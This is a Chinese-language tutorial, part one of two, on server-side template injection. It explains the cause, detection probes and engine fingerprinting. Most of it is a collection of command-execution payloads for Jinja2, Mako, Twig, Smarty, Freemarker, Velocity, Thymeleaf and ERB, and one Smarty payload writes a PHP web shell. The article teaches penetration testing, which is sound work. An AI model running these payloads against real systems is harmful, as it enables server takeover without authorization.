SSTI(服务端模板注入)是难度会相对高一点的知识点,利用起来也会复杂一些。但它是OWASP注入类漏洞中增长最快的攻击向量。我以前遇到模板渲染的参数就只会丢个{{7*7}}试试,返回49就兴奋,但接下来怎么利用?Jinja2和Twig的Payload有什么区别?沙箱怎么绕?一知半解!
今天把SSTI的完整攻击面重新系统梳理一遍,分享给大家,自己也重新学习一遍——从漏洞原理、检测方法、模板引擎识别,到各引擎的基础利用链、沙箱绕过、WAF对抗,每一个维度都藏着机会。内容较多,分上下两篇:上篇讲原理与基础利用,下篇讲沙箱绕过与高级实战。
知识整理输出不易,推荐大家收藏、保存!希望各位点赞、关注!欢迎大佬评论、转发!
⚠️ 郑重声明:以下所有技术内容仅供学习研究,所有操作必须在拥有明确授权的环境中进行。未授权的渗透测试属于违法行为。
现代Web开发普遍采用MVC架构,模板引擎负责将数据模型填充到模板文件中,生成最终的HTML页面。核心公式:
模板引擎(如Jinja2、Twig、Freemarker)为了提高灵活性,支持变量渲染、条件判断、循环甚至函数调用。这本是设计特性,但当开发者将用户输入直接拼接到模板代码中(而非作为数据参数传递),漏洞就产生了。
安全写法:用户输入作为数据传递
# 模板是固定的,用户输入是数据template = "Hello, {{ name }}!"data = {"name": user_input}output = render(template, data)即使用户输入{{7*7}},模板引擎也只会将其作为普通字符串输出,因为它是数据,不是代码。
危险写法:用户输入拼接到模板中
# 用户输入直接拼入模板字符串template = f"Hello, {user_input}!"output = render(template)如果用户输入{{77}},最终模板变成Hello, {{77}}!,模板引擎会执行这个表达式,返回Hello, 49!。
这就是SSTI的本质:数据与代码的边界被混淆。
SSTI的危害取决于模板引擎的能力:
| | |
|---|
| 信息泄露 | | |
| 文件读取 | | |
| 远程代码执行(RCE) | | Jinja2、Freemarker、Mako、ERB |
大多数模板引擎都提供了访问文件系统或执行命令的能力,一旦注入成功,攻击者几乎可以立即获得服务器控制权。
SSTI可能出现在任何用户输入被渲染的位置:
🔹 URL参数(如?name=user)
🔹 表单提交数据
🔹 HTTP头部(User-Agent、Referer、X-Forwarded-For)
🔹 JSON/XML请求体
🔹 邮件模板、PDF生成功能
向疑似注入点提交简单的数学表达式,观察返回结果:
| | |
|---|
{{7*7}} | | |
${7*7} | | Freemarker/Velocity/Thymeleaf |
<%= 7*7 %> | | |
#{7*7} | | |
{77} | | |
${{7*7}} | | |
如果返回计算结果而非原始字符串,SSTI漏洞基本确认。
关键区分:{{7*'7'}}可以区分Jinja2和Twig:
🔹 Jinja2返回7777777(字符串乘法)
🔹 Twig返回49(数学运算)
当不确定目标使用哪种模板引擎时,使用多语言Payload一次性覆盖:
${7*7}{{7*7}}<%= 7*7 %>#{7*7}*{7*7}${{7*7}}#{7*7}哪个表达式被成功执行,就说明目标使用的是对应的模板引擎。
故意提交畸形语法触发错误信息:
错误信息中可能直接暴露模板引擎名称,如:
🔹 TemplateSyntaxError → Jinja2
🔹 Invalid reference → Freemarker
🔹 TemplateRenderingException → Thymeleaf
确认SSTI存在后,需要精确识别模板引擎,才能构造对应的利用Payload。以下决策树覆盖主流引擎:
输入 {{7*7}} 返回49?├── 是 → 输入 {{7*'7'}} 返回什么?│ ├── 7777777 → Jinja2(Python)│ ├── 49 → Twig(PHP)│ └── 报错 → Django模板 / Handlebars├── 否 → 输入 ${7*7} 返回49?│ ├── 是 → 输入 <#if 1==1>yes</#if> 有效?│ │ ├── 是 → Freemarker(Java)│ │ └── 否 → Velocity(Java) / Thymeleaf│ ├── 否 → 输入 <%= 7*7 %> 返回49?│ │ ├── 是 → ERB(Ruby)│ │ └── 否 → 输入 #{7*7} 返回49?│ │ ├── 是 → Thymeleaf(Java)│ │ └── 否 → 可能是Mako / Slim等 | | | | |
|---|
| Jinja2 | | {{var}} | {# comment #} | {% %} |
| Twig | | {{var}} | {# comment #} | {% %} |
| Freemarker | | ${var} | <#-- comment --> | <# %> |
| Velocity | | $var | ## comment | #set |
| Thymeleaf | | [[${var}]] | <!--/ -->/ | th:text |
| ERB | | <%= var %> | <%# comment %> | <% %> |
| Mako | | ${var} | ## comment | <% %> |
| Smarty | | {$var} | { comment } | {php}{/php} |
| EJS | | <%= var %> | <%# comment %> | <% %> |
| Pug | | #{var} | //- comment | - code |
Jinja2是Python生态最流行的模板引擎(Flask默认使用),也是CTF和实战中最常遇到的SSTI类型。
直接利用(无沙箱):
# 读取配置信息{{config}}{{self.__dict__}}# 直接执行命令(需要os模块在全局变量中){{os.popen('id').read()}}{{lipsum.__globals__['os'].popen('id').read()}}{{cycler.__init__.__globals__.os.popen('id').read()}}经典MRO链利用:
当os模块不在全局变量中时,需要通过Python的类继承链(MRO)找到可执行命令的类:
# 第一步:获取所有子类{{''.__class__.__mro__[1].__subclasses__()}}# 第二步:找到os._wrap_close或subprocess.Popen的索引# 遍历子类列表,找到目标类的索引号# 第三步:通过索引调用执行命令{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('id').read()}}Jinja2常用RCE Payload汇总:
# 方式1:通过lipsum全局变量{{lipsum.__globals__['os'].popen('id').read()}}# 方式2:通过cycler对象{{cycler.__init__.__globals__.os.popen('id').read()}}# 方式3:通过joiner对象{{joiner.__init__.__globals__.os.popen('id').read()}}# 方式4:通过namespace对象{{namespace.__init__.__globals__.os.popen('id').read()}}# 方式5:通过request对象{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}# 方式6:通过url_for全局函数{{url_for.__globals__['os'].popen('id').read()}}# 方式7:通过get_flashed_messages{{get_flashed_messages.__globals__['os'].popen('id').read()}}Mako是另一个Python模板引擎,以性能著称,Pyramid框架默认使用。
# 直接访问os模块${self.module.cache.util.os.system("id")}# 通过__init__.__globals__访问${self.__init__.__globals__['util'].os.system('id')}# 通过template属性访问${self.template.__init__.__globals__['os'].system('id')}# 利用__builtins__${__import__('os').popen('id').read()}Tornado框架自带模板引擎,语法类似Jinja2但更简洁:
# 直接导入os模块执行命令{% import os %}{{os.popen('id').read()}}# 通过application对象{{handler.application.settings}}# 通过request对象{{handler.request.remote_ip}}Twig是Symfony框架的默认模板引擎,PHP生态中最流行的模板引擎之一。
# Twig 1.x(支持{{_self}}){{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}# Twig 2.x/3.x{{['id']|filter('system')}}# 利用map过滤器{{["id"]|map("system")|join(",")}}# 利用sort过滤器{{["id"]|sort("system")|join(",")}}# 利用reduce过滤器{{[0,0]|reduce("system","id")|join(",")}}Smarty是另一个老牌PHP模板引擎,支持直接执行PHP代码(旧版本):
# 直接执行PHP代码(Smarty 3.1.39之前){php}system('id');{/php}# 利用Smarty内置函数{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}# 通过{if}标签执行{if phpinfo()}{/if}{if system('id')}{/if}# 通过fetch/display函数{fetch file="id" assign="x"}{$x}Freemarker是Java企业级应用中最常用的模板引擎,Spring MVC项目广泛使用。
<#-- 方式1:通过Execute类直接执行命令(Freemarker < 2.3.30) --><#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}<#-- 方式2:通过ObjectWrapper访问Runtime --><#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","id").start()}<#-- 方式3:通过JythonRuntime --><#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("id")</@value>踩坑经验:Freemarker ≥ 2.3.30 版本默认禁止加载Execute、ObjectConstructor、JythonRuntime这三个危险类。此时需要通过Class.forName绕过:
```freemarker
<#-- 高版本绕过:通过Class.forName反射加载 -->
${Class.forName("java.lang.ProcessBuilder",true,Thread.currentThread().getContextClassLoader()).newInstance(["/bin/bash","-c","id"]).start()}
```
Velocity是Apache基金会的Java模板引擎,常见于老旧企业系统:
## 方式1:通过Runtime执行命令$!{Runtime.getRuntime().exec("id")}## 方式2:通过ProcessBuilder#set($e="e")$e.getClass().forName("java.lang.Runtime").getRuntime().exec("id")## 方式3:通过Class.forName#set($x="")#set($rt=$x.class.forName("java.lang.Runtime"))#set($chr=$x.class.forName("java.lang.Character"))#set($str=$x.class.forName("java.lang.String"))#set($ex=$rt.getRuntime().exec("id"))Thymeleaf是Spring Boot的默认模板引擎,SSTI利用相对困难,但仍有攻击路径:
// 方式1:SpringEL表达式(预处理阶段)__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x// 方式2:OGNL表达式[[${T(java.lang.Runtime).getRuntime().exec('id')}]]// 方式3:通过SpEL创建ProcessBuilder[[${new java.lang.ProcessBuilder({'id'}).start()}]]注意:Thymeleaf默认不允许动态生成模板,SSTI漏洞通常只出现在开发者手动调用templateEngine.process()并拼接用户输入的场景。
ERB是Ruby on Rails的默认模板引擎:
<%= system('id') %><%= `id` %><%= exec('id') %><%= IO.popen('id').readlines() %><%= require 'open3'; Open3.capture2('id') %>Go的text/template引擎设计上不支持函数调用和代码执行,SSTI危害较低,但可以泄露数据:
Go的html/template自动转义,基本无法利用。但如果开发者使用了text/template处理HTML,仍可能存在信息泄露。
上篇覆盖了SSTI的核心基础:
1. 原理:数据与代码边界混淆,用户输入被当作模板代码执行
2. 检测:数学表达式探测 → 多语言Polyglot → 错误信息辅助
3. 识别:通过决策树和语法特征精确定位模板引擎
4. 基础利用:10种主流模板引擎的RCE Payload
下篇将深入沙箱绕过、WAF对抗、高级利用技巧和Payload速查表,这些才是实战中真正拉开差距的内容。